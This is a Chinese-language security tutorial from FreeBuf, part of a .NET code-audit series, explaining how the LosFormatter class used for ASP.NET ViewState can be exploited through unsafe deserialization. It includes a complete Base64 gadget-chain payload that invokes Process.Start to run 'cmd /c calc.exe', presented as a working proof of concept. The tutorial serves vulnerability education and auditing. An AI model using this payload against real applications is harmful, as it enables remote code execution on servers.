.NET高級代碼審計(第十一課) LosFormatter反序列化漏洞

2019-04-18 83809人圍觀 ,發現 1 個不明物體 WEB安全

一、前言

LosFormatter一般也是用于序列化和反序列化Web窗體頁的視圖狀態(ViewState),如果要把ViewState 通過數據庫或其他持久化設備來維持,則需要采用特定的LosFormatter 類來序列化/反序列化。它封裝在System.Web.dll中,位于命名空間System.Web.UI下,微軟官方的闡述是有限的對象序列化(LOS)格式專門為高度精簡的ASCII格式序列化,此類支持序列化的任何對象圖。但是使用反序列化不受信任的二進制文件會導致反序列化漏洞從而實現遠程RCE攻擊,本文筆者從原理和代碼審計的視角做了相關介紹和復現。

前文回顧:

.NET高級代碼審計之XmlSerializer反序列化漏洞

.NET高級代碼審計(第二課) Json.Net反序列化漏洞

.NET高級代碼審計(第三課)Fastjson反序列化漏洞

.NET高級代碼審計(第四課)JavaScriptSerializer反序列化漏洞

.NET高級代碼審計(第五課).NET Remoting反序列化漏洞

.NET高級代碼審計(第六課) DataContractSerializer反序列化漏洞

.NET高級代碼審計(第七課) NetDataContractSerializer反序列化漏洞

.NET高級代碼審計(第八課)SoapFormatter反序列化漏洞

.NET高級代碼審計(第九課) BinaryFormatter反序列化漏洞

.NET高級代碼審計(第十課) ObjectStateFormatter反序列化漏洞

二、LosFormatter序列化

LosFormatter類通常用于對ViewState頁面狀態視圖的序列化,看下面實例來說明問題,首先定義TestClass對象

 LosFormatter反序列化漏洞

定義了三個成員,并實現了一個靜態方法ClassMethod啟動進程。 序列化通過創建對象實例分別給成員賦值 

 LosFormatter反序列化漏洞

常規下使用Serialize得到序列化后的文件內容是Base64編碼的

 LosFormatter反序列化漏洞

三、LosFormatter反序列化

3.1 反序列化原理和用法

反序列過程是將Base64編碼數據轉換為對象,通過創建一個新對象的方式調用Deserialize方法實現的,查看定義如下

 LosFormatter反序列化漏洞

筆者通過創建新對象的方式調用Deserialize方法實現的具體實現代碼可參考以下

 LosFormatter反序列化漏洞

反序列化后得到TestClass類的成員Name的值。

3.2 攻擊向量—ActivitySurrogateSelector

由于上一篇中已經介紹了漏洞的原理,所以本篇就不再冗余的敘述,沒有看的朋友請參考《.NET高級代碼審計(第八課) SoapFormatter反序列化漏洞》,不同之處是用了LosFormatter類序列化數據,同樣也是通過重寫ISerializationSurrogate調用自定義代碼得到序列化后的數據如下圖

 LosFormatter反序列化漏洞

按照慣例用LosFormatter類的Deserialize方法反序列化

 LosFormatter反序列化漏洞

最后反序列化成功后彈出計算器,但同樣也拋出了異常,這在WEB服務情況下會返回500錯誤。

 LosFormatter反序列化漏洞

3.3 攻擊向量—PSObject

由于筆者的windows主機打過了CVE-2017-8565(Windows PowerShell遠程代碼執行漏洞)的補丁,利用不成功,所以在這里不做深入探討,有興趣的朋友可以自行研究。有關于補丁的詳細信息參考:https://support.microsoft.com/zh-cn/help/4025872/windows-powershell-remote-code-execution-vulnerability

3.4 攻擊向量—MulticastDelegate

由于之前已經介紹了漏洞的原理,所以本篇就不再冗余的敘述,沒有看的朋友請參考《.NET高級代碼審計(第七課)NetDataContractSerializer反序列化漏洞》

四、代碼審計

4.1 Deserialize

從代碼審計的角度找到漏洞的EntryPoint,Deserialize有兩個重載分別可反序列化Stream和字符串數據,其中字符串可以是原始的Raw也可以是文檔中說的Base64字符串,兩者在實際的反序列化都可以成功。

 LosFormatter反序列化漏洞

下面是不安全的代碼:

 LosFormatter反序列化漏洞

攻擊者只需要控制傳入字符串參數Content便可輕松實現反序列化漏洞攻擊,完整的Poc如下

請求Base64的Poc可成功觸發彈出計算器

/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=

最后附上動圖效果圖

losf.gif

五、總結

實際開發中LosFormatter 通常用在處理ViewState狀態視圖,同ObjectStateFormatter一樣在反序列化二進制文件時要注意數據本身的安全性,否則就會產生反序列化漏洞。最后.NET反序列化系列課程筆者會同步到 https://github.com/Ivan1ee/https://ivan1ee.gitbook.io/ ,更多的.NET安全和技巧可關注筆者的github。

*本文作者:[email protected]云影實驗室,轉載請注明來自FreeBuf.COM 

發表評論

已有 1 條評論

取消
Loading...

特別推薦

推薦關注

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 重庆百变王牌走势图